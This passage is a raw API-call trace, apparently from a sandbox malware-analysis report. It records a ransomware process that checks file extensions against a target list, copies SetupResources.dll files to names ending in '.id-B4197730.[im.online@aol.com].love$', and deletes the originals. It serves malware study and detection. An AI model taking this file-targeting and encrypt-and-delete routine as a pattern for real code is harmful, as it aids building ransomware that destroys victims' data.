lpString2=".dll") returned 1 [0094.518] lstrlenW (lpString=".xlsx") returned 5 [0094.518] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0094.518] lstrlenW (lpString=".ppt") returned 4 [0094.518] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0094.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0094.518] lstrlenW (lpString=".zip") returned 4 [0094.518] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0094.518] lstrlenW (lpString=".rar") returned 4 [0094.518] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0094.518] lstrlenW (lpString=".bz2") returned 4 [0094.518] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0094.518] lstrlenW (lpString=".7z") returned 3 [0094.518] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0094.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0094.518] lstrlenW (lpString=".dbf") returned 4 [0094.518] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0094.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0094.518] lstrlenW (lpString=".1cd") returned 4 [0094.518] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0094.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0094.519] lstrlenW (lpString=".jpg") returned 4 [0094.519] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0094.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0094.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0094.519] lstrlenW (lpString=".doc") returned 4 [0094.519] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0094.519] lstrlenW (lpString=".docx") returned 5 [0094.519] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0094.519] lstrlenW (lpString=".pdf") returned 4 [0094.519] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0094.519] lstrlenW (lpString=".xls") returned 4 [0094.519] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0094.519] lstrlenW (lpString=".xlsx") returned 5 [0094.519] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0094.519] lstrlenW (lpString=".ppt") returned 4 [0094.519] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0094.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0094.519] lstrlenW (lpString=".zip") returned 4 [0094.519] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0094.519] lstrlenW (lpString=".rar") returned 4 [0094.519] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0094.519] lstrlenW (lpString=".bz2") returned 4 [0094.519] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0094.519] lstrlenW (lpString=".7z") returned 3 [0094.519] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0094.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0094.520] lstrlenW (lpString=".dbf") returned 4 [0094.520] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0094.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0094.520] lstrlenW (lpString=".1cd") returned 4 [0094.520] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0094.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0094.520] lstrlenW (lpString=".jpg") returned 4 [0094.520] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0094.520] Sleep (dwMilliseconds=0x64) [0096.183] Sleep (dwMilliseconds=0x64) [0096.705] Sleep (dwMilliseconds=0x64) [0097.233] Sleep (dwMilliseconds=0x64) [0098.966] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0098.966] lstrlenW (lpString="SetupResources.dll") returned 18 [0098.966] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0098.967] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=16728) returned 1 [0098.967] CloseHandle (hObject=0x338) returned 1 [0098.967] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0098.967] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0098.967] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0098.967] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0098.967] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0098.967] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0099.536] GetLastError () returned 0x0 [0099.536] ReadFile (in: hFile=0x338, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x4158, lpOverlapped=0x0) returned 1 [0099.584] WriteFile (in: hFile=0x340, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4160, lpOverlapped=0x0) returned 1 [0099.586] ReadFile (in: hFile=0x338, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0099.586] WriteFile (in: hFile=0x340, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf8, lpOverlapped=0x0) returned 1 [0099.586] SetEndOfFile (hFile=0x340) returned 1 [0099.586] CloseHandle (hObject=0x340) returned 1 [0099.589] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.589] SetEndOfFile (hFile=0x338) returned 1 [0099.590] CloseHandle (hObject=0x338) returned 1 [0099.590] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0099.590] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0099.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0099.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0099.591] lstrlenW (lpString=".doc") returned 4 [0099.591] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.591] lstrlenW (lpString=".docx") returned 5 [0099.591] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.591] lstrlenW (lpString=".pdf") returned 4 [0099.591] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.591] lstrlenW (lpString=".xls") returned 4 [0099.591] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.591] lstrlenW (lpString=".xlsx") returned 5 [0099.591] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.591] lstrlenW (lpString=".ppt") returned 4 [0099.591] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0099.591] lstrlenW (lpString=".zip") returned 4 [0099.591] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.591] lstrlenW (lpString=".rar") returned 4 [0099.591] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.591] lstrlenW (lpString=".bz2") returned 4 [0099.591] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.591] lstrlenW (lpString=".7z") returned 3 [0099.591] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0099.591] lstrlenW (lpString=".dbf") returned 4 [0099.591] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0099.591] lstrlenW (lpString=".1cd") returned 4 [0099.591] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0099.591] lstrlenW (lpString=".jpg") returned 4 [0099.591] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0099.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0099.592] lstrlenW (lpString=".doc") returned 4 [0099.592] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.592] lstrlenW (lpString=".docx") returned 5 [0099.592] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.592] lstrlenW (lpString=".pdf") returned 4 [0099.592] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.592] lstrlenW (lpString=".xls") returned 4 [0099.592] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.592] lstrlenW (lpString=".xlsx") returned 5 [0099.592] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.592] lstrlenW (lpString=".ppt") returned 4 [0099.592] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0099.592] lstrlenW (lpString=".zip") returned 4 [0099.592] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.592] lstrlenW (lpString=".rar") returned 4 [0099.592] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.592] lstrlenW (lpString=".bz2") returned 4 [0099.592] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.592] lstrlenW (lpString=".7z") returned 3 [0099.592] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0099.592] lstrlenW (lpString=".dbf") returned 4 [0099.592] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0099.592] lstrlenW (lpString=".1cd") returned 4 [0099.592] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0099.592] lstrlenW (lpString=".jpg") returned 4 [0099.592] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.593] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0099.593] lstrlenW (lpString="SetupResources.dll") returned 18 [0099.593] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0099.605] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=18264) returned 1 [0099.605] CloseHandle (hObject=0x344) returned 1 [0099.605] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0099.605] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0099.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0099.605] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.605] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0099.689] GetLastError () returned 0x0 [0099.690] ReadFile (in: hFile=0x344, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x4758, lpOverlapped=0x0) returned 1 [0099.751] WriteFile (in: hFile=0x354, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4760, lpOverlapped=0x0) returned 1 [0099.752] ReadFile (in: hFile=0x344, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0099.753] WriteFile (in: hFile=0x354, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf8, lpOverlapped=0x0) returned 1 [0099.753] SetEndOfFile (hFile=0x354) returned 1 [0099.753] CloseHandle (hObject=0x354) returned 1 [0099.754] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.754] SetEndOfFile (hFile=0x344) returned 1 [0099.756] CloseHandle (hObject=0x344) returned 1 [0099.756] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0099.756] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0099.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0099.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0099.757] lstrlenW (lpString=".doc") returned 4 [0099.757] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.757] lstrlenW (lpString=".docx") returned 5 [0099.757] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.757] lstrlenW (lpString=".pdf") returned 4 [0099.757] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.757] lstrlenW (lpString=".xls") returned 4 [0099.757] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.757] lstrlenW (lpString=".xlsx") returned 5 [0099.757] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.757] lstrlenW (lpString=".ppt") returned 4 [0099.757] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0099.757] lstrlenW (lpString=".zip") returned 4 [0099.757] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.757] lstrlenW (lpString=".rar") returned 4 [0099.757] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.757] lstrlenW (lpString=".bz2") returned 4 [0099.757] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.757] lstrlenW (lpString=".7z") returned 3 [0099.757] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0099.757] lstrlenW (lpString=".dbf") returned 4 [0099.757] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.757] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0099.757] lstrlenW (lpString=".1cd") returned 4 [0099.758] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0099.758] lstrlenW (lpString=".jpg") returned 4 [0099.758] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0099.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0099.758] lstrlenW (lpString=".doc") returned 4 [0099.758] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.758] lstrlenW (lpString=".docx") returned 5 [0099.758] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.758] lstrlenW (lpString=".pdf") returned 4 [0099.758] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.758] lstrlenW (lpString=".xls") returned 4 [0099.758] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.758] lstrlenW (lpString=".xlsx") returned 5 [0099.758] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.758] lstrlenW (lpString=".ppt") returned 4 [0099.758] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0099.758] lstrlenW (lpString=".zip") returned 4 [0099.758] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.758] lstrlenW (lpString=".rar") returned 4 [0099.758] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.758] lstrlenW (lpString=".bz2") returned 4 [0099.758] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.758] lstrlenW (lpString=".7z") returned 3 [0099.759] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0099.759] lstrlenW (lpString=".dbf") returned 4 [0099.759] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0099.759] lstrlenW (lpString=".1cd") returned 4 [0099.759] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0099.759] lstrlenW (lpString=".jpg") returned 4 [0099.759] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.759] Sleep (dwMilliseconds=0x64) [0100.148] Sleep (dwMilliseconds=0x64) [0100.596] Sleep (dwMilliseconds=0x64) [0100.974] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0100.974] lstrlenW (lpString="SetupResources.dll") returned 18 [0100.974] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0100.974] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=18776) returned 1 [0100.974] CloseHandle (hObject=0x344) returned 1 [0100.975] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0100.975] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.975] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0100.975] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.975] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.975] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0101.000] GetLastError () returned 0x0 [0101.000] ReadFile (in: hFile=0x344, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x4958, lpOverlapped=0x0) returned 1 [0101.023] WriteFile (in: hFile=0x34c, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4960, lpOverlapped=0x0) returned 1 [0101.026] ReadFile (in: hFile=0x344, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0101.026] WriteFile (in: hFile=0x34c, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf8, lpOverlapped=0x0) returned 1 [0101.026] SetEndOfFile (hFile=0x34c) returned 1 [0101.026] CloseHandle (hObject=0x34c) returned 1 [0101.033] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0101.033] SetEndOfFile (hFile=0x344) returned 1 [0101.034] CloseHandle (hObject=0x344) returned 1 [0101.035] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0101.036] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0101.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0101.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0101.036] lstrlenW (lpString=".doc") returned 4 [0101.036] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.036] lstrlenW (lpString=".docx") returned 5 [0101.036] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0101.036] lstrlenW (lpString=".pdf") returned 4 [0101.036] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.037] lstrlenW (lpString=".xls") returned 4 [0101.037] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.037] lstrlenW (lpString=".xlsx") returned 5 [0101.037] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0101.037] lstrlenW (lpString=".ppt") returned 4 [0101.037] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0101.037] lstrlenW (lpString=".zip") returned 4 [0101.037] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.037] lstrlenW (lpString=".rar") returned 4 [0101.037] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.037] lstrlenW (lpString=".bz2") returned 4 [0101.037] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.037] lstrlenW (lpString=".7z") returned 3 [0101.037] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0101.037] lstrlenW (lpString=".dbf") returned 4 [0101.037] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0101.037] lstrlenW (lpString=".1cd") returned 4 [0101.037] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0101.037] lstrlenW (lpString=".jpg") returned 4 [0101.037] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0101.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0101.037] lstrlenW (lpString=".doc") returned 4 [0101.038] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.038] lstrlenW (lpString=".docx") returned 5 [0101.038] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0101.038] lstrlenW (lpString=".pdf") returned 4 [0101.038] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.038] lstrlenW (lpString=".xls") returned 4 [0101.038] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.038] lstrlenW (lpString=".xlsx") returned 5 [0101.038] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0101.038] lstrlenW (lpString=".ppt") returned 4 [0101.038] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.038] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0101.038] lstrlenW (lpString=".zip") returned 4 [0101.038] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.038] lstrlenW 